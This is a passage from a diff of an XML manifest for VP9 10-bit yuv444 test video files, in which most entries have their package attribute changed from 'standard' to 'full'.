     <value>mime=video/x-vnd.on2.vp9,size=14588240,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp0-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp10-20_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1135205,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp20-30_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=614374,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=614374,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp30-40_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=284291,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=284291,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=453103,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=453103,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp40-50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=123767,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=123767,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp50-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=43626,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=43626,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_Qp63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=10194,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=10194,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp1_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42173,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42173,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp2_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42022,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42022,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp3_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42050,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42050,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42235,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42235,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp5_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42122,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42122,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp6_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41997,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41997,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_sharp7_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41987,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41987,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_skip5frm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=36407,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=36407,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_upScale_100_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_upScale_10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_upScale_20_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_upScale_50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_vbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42230,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87870,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87870,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88043,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88043,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88456,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88456,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_adaptQCom_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=80662,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=80662,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_adaptQVar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=81373,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=81373,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_0f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88378,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88378,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_0f_5s_1t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88924,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88924,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_0f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88325,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88325,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_15f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88646,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88646,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_15f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88714,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88714,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_5f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88924,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88924,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_5f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88924,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88924,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_arnr_5f_5s_3t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88924,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88924,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_autAltRef_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_autAltRef_8lag_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=85605,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=85605,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=93427,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=93427,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cq0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87508,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87508,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cq10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87508,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87508,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cq16_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87508,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87508,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cq32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87508,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87508,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cq4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87508,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87508,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_cq63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=71333,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=71333,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_downScale_10_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_downScale_20_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_downScale_50_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_downScale_80_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_errRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=93187,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=93187,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_keyFrmOnly_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=438770,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=438770,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_lossless_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=26776148,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_noKeyFrm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_nonErrRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp0-10_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=3753200,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -37959,7 +37959,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=26776148,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp0-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp10-20_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1864000,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -37968,163 +37968,163 @@
     <value>mime=video/x-vnd.on2.vp9,size=997309,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp30-40_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=464046,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=464046,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=730970,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=730970,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp40-50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=206235,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=206235,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp50-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=83823,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=83823,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18541,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18541,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp1_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88670,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88670,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp2_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88624,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88624,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp3_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88635,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88635,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88681,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88681,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp5_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88657,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88657,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp6_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88425,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88425,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp7_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88345,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88345,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_skip5frm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=79108,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=79108,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_upScale_100_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_upScale_10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_upScale_20_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
